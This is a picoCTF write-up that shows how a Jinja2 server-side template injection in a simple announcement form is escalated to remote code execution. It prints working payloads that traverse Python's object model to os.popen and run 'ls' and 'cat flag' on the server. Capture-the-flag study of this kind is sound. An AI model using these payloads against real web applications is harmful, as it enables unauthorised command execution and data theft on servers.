Overview
This picoCTF challenge involved a basic web app that allowed users to “announce whatever you want!” through a form input. Upon testing, I discovered the site was vulnerable to Server-Side Template Injection (SSTI) using Jinja2, which I escalated to Remote Code Execution (RCE).
Step 1: Input Reflection
The homepage contained an input field and an “Ok” button.
I started by typing:
test
The result page rendered:
This confirmed that input was reflected directly into a rendered template.
Step 2: Detecting SSTI
I then submitted:
{{ 7*7 }}
The result:
Confirmed: Jinja2 is evaluating input — the app is vulnerable to SSTI.
Step 3: Gaining RCE via Python Object Chain
I used Jinja2’s ability to traverse Python internals and executed system commands:
{{ ''.__class__ }} → <class 'str'>
{{ ''.__class__.__mro__ }} → method resolution order
{{ ''.__class__.__mro__[1] }} → <class 'object'>
{{ ''.__class__.__mro__[1].__subclasses__() }} → list of all subclasses
I found the correct index (e.g., 408) with some trial and error:
{{ ''.__class__.__mro__[1].__subclasses__()[408] }}
Step 4: Executing Commands
Now I used that class to run system commands:
{{ ''.__class__.__mro__[1].__subclasses__()[408].__init__.__globals__['os'].popen('ls').read() }}
This listed the files on the server. One of them was flag
.
To read the flag:
{{ ''.__class__.__mro__[1].__subclasses__()[408].__init__.__globals__['os'].popen('cat flag').read() }}
Boom — the flag was revealed.
Conclusion
This challenge is a textbook demonstration of how SSTI in Jinja2 can lead to full server compromise. Always validate and sanitize user input, and never pass raw data into templates.
Flag: picoCTF{example_flag_here}